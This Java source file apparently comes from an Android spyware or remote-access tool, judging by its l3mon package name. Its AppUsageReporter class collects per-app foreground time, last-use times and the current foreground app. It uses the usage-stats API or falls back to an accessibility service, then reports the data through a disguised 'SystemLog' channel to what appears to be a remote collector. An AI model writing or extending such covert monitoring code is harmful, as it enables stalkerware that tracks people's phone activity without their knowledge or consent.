package com.etechd.l3mon;

import android.app.AppOpsManager;
import android.app.usage.UsageStats;
import android.app.usage.UsageStatsManager;
import android.content.Context;
import android.content.pm.PackageManager;
import android.os.Build;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;

public class AppUsageReporter {
    private static final String TAG = "SystemLog";

    public static void reportNow(Context context) {
        if (context == null) {
            return;
        }
        Context app = context.getApplicationContext();
        boolean usageAccess = hasUsageAccess(app);
        if (!usageAccess && !ClipboardAccessibilityService.isRunning()) {
            Log.w(TAG, "AppUsage: sin acceso de uso ni accesibilidad");
            return;
        }
        try {
            JSONArray apps = new JSONArray();
            String foreground = null;
            UsageStatsManager usm = (UsageStatsManager) app.getSystemService(Context.USAGE_STATS_SERVICE);

            if (usageAccess && usm != null) {
                long now = System.currentTimeMillis();
                long dayAgo = now - TimeUnit.DAYS.toMillis(1);
                long weekAgo = now - TimeUnit.DAYS.toMillis(7);

                Map<String, UsageStats> today = usm.queryAndAggregateUsageStats(dayAgo, now);
                Map<String, UsageStats> week = usm.queryAndAggregateUsageStats(weekAgo, now);

                java.util.Set<String> packages = new java.util.HashSet<String>();
                if (today != null) {
                    packages.addAll(today.keySet());
                }
                if (week != null) {
                    packages.addAll(week.keySet());
                }

                PackageManager pm = app.getPackageManager();
                for (String pkg : packages) {
                    if (pkg == null || pkg.equals(app.getPackageName())) {
                        continue;
                    }
                    UsageStats t = today != null ? today.get(pkg) : null;
                    UsageStats w = week != null ? week.get(pkg) : null;
                    long msToday = t != null ? t.getTotalTimeInForeground() : 0;
                    long msWeek = w != null ? w.getTotalTimeInForeground() : 0;
                    long lastUsed = 0;
                    if (t != null) {
                        lastUsed = t.getLastTimeUsed();
                    } else if (w != null) {
                        lastUsed = w.getLastTimeUsed();
                    }
                    if (msToday <= 0 && msWeek <= 0 && lastUsed <= 0) {
                        continue;
                    }

                    JSONObject row = new JSONObject();
                    row.put("packageName", pkg);
                    try {
                        row.put("appName", pm.getApplicationLabel(pm.getApplicationInfo(pkg, 0)).toString());
                    } catch (Exception e) {
                        row.put("appName", pkg);
                    }
                    row.put("foregroundMsToday", msToday);
                    row.put("foregroundMsWeek", msWeek);
                    if (lastUsed > 0) {
                        row.put("lastTimeUsed", lastUsed);
                    }
                    apps.put(row);
                }
                foreground = detectForegroundPackage(usm);
            }

            JSONObject root = new JSONObject();
            if (!usageAccess || ClipboardAccessibilityService.isRunning()) {
                AppForegroundTracker.mergeIntoReport(app, root, apps);
            }
            root.put("apps", apps);
            if (foreground != null && !root.has("foreground_package")) {
                root.put("foreground_package", foreground);
            }
            if (apps.length() > 0 || root.has("foreground_package")) {
                root.put("usage_source", usageAccess ? "usage_stats" : "accessibility");
                SystemLogApi.report("0xAU", root);
            }
        } catch (Exception e) {
            Log.e(TAG, "AppUsageReporter: " + e.getMessage());
        }
    }

    private static String detectForegroundPackage(UsageStatsManager usm) {
        try {
            long end = System.currentTimeMillis();
            long start = end - TimeUnit.MINUTES.toMillis(2);
            android.app.usage.UsageEvents events = usm.queryEvents(start, end);
            if (events == null) {
                return null;
            }
            String last = null;
            android.app.usage.UsageEvents.Event ev = new android.app.usage.UsageEvents.Event();
            while (events.hasNextEvent()) {
                events.getNextEvent(ev);
                if (ev.getEventType() == android.app.usage.UsageEvents.Event.MOVE_TO_FOREGROUND) {
                    last = ev.getPackageName();
                }
            }
            return last;
        } catch (Exception e) {
            return null;
        }
    }

    public static boolean hasUsageAccess(Context context) {
        try {
            AppOpsManager appOps = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE);
            if (appOps == null) {
                return false;
            }
            int mode = appOps.checkOpNoThrow(
                    AppOpsManager.OPSTR_GET_USAGE_STATS,
                    android.os.Process.myUid(),
                    context.getPackageName());
            if (mode == AppOpsManager.MODE_ALLOWED) {
                return true;
            }
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
                UsageStatsManager usm = (UsageStatsManager) context.getSystemService(Context.USAGE_STATS_SERVICE);
                if (usm != null) {
                    long now = System.currentTimeMillis();
                    List<UsageStats> list = usm.queryUsageStats(
                            UsageStatsManager.INTERVAL_DAILY, now - 60000, now);
                    return list != null && !list.isEmpty();
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "hasUsageAccess: " + e.getMessage());
        }
        return false;
    }
}
